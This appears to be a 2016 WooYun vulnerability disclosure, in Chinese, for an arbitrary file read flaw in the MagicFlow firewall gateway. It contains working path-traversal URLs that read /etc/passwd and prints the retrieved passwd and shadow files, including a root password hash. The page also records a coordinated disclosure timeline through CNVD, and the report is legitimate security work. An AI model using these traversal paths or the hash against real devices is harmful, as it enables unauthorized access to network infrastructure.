当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0207455

漏洞标题：MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞

相关厂商：MagicFlow

漏洞作者： Aasron

提交时间：2016-05-11 16:10

修复时间：2016-06-27 18:50

公开时间：2016-06-27 18:50

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-11： 细节已通知厂商并且等待厂商处理中
2016-05-13： 厂商已经确认，细节仅向厂商公开
2016-05-23： 细节向核心白帽子及相关领域专家公开
2016-06-02： 细节向普通白帽子公开
2016-06-12： 细节向实习白帽子公开
2016-06-27： 细节向公众公开

简要描述：

MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞

详细说明：

MagicFlow有线无线一体化防火墙网关，是有线无线网络融合的一种灵活软件刀片构架集成硬件防火墙设备，安装了基本软件刀片，形成一种综合、即用的安全网关解决方案。集成安全刀片，管理刀片，网络基础刀片等多种功能一体化的系统，全面满足下一代企业级有线无线一体组网需求，可持续、简单、高效地提供下一代网络组网、安全、管理需要
大概简介
貌似全版本型号通杀

1.png


1.png


存在的路径几乎都能进行利用
这里只拿其中一个路径进行利用

漏洞证明：

1.png


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postgres:x:500:500::/home/postgres:/bin/bash


1.png


2.png


root:$6$WlwYInfswISNikU7$N370hMHQ9lKgaVZHi/.2mDz7GCfLJSL8jt/Ll/.AsaBuO/TNY2J8K2PYY3PkeFOLNx3DuKmmoAiTYd9KLSoXe/:16707:0:99999:7:::
bin:*:15628:0:99999:7:::
daemon:*:15628:0:99999:7:::
adm:*:15628:0:99999:7:::
lp:*:15628:0:99999:7:::
sync:*:15628:0:99999:7:::
shutdown:*:15628:0:99999:7:::
halt:*:15628:0:99999:7:::
mail:*:15628:0:99999:7:::
uucp:*:15628:0:99999:7:::
operator:*:15628:0:99999:7:::
games:*:15628:0:99999:7:::
gopher:*:15628:0:99999:7:::
ftp:*:15628:0:99999:7:::
nobody:*:15628:0:99999:7:::
vcsa:!!:16707::::::
saslauth:!!:16707::::::
postfix:!!:16707::::::
sshd:!!:16707::::::
postgres:!!:16707:0:99999:7:::


/css/../../../../../../../../etc/passwd 
/ext/resources/images/default/../../../../../../../../etc/passwd


很多不一一列举
附案例地址：
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案：

操作函数以及过滤

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2016-05-13 18:47

厂商回复：

CNVD确认所述情况，已由CNVD通过软件生产厂商公开联系渠道向其邮件通报。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-11 16:11 | 0x 80 ( 普通白帽子 | Rank:1864 漏洞数:509 | If we give enough, if we learn to trust ...)

    没人顶啊，我来顶顶

  2. 2016-05-11 16:58 | Aasron ( 普通白帽子 | Rank:905 漏洞数:164 | raw_input("你知道我要输入什么？"))

    @0x 80 正点

  3. 2016-05-11 17:24 | Dotaer ( 路人 | Rank:28 漏洞数:8 | 多学习，多挖洞！)

    瞧一瞧，看一看啦！

  4. 2016-06-02 22:46 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    没人顶啊，我来顶顶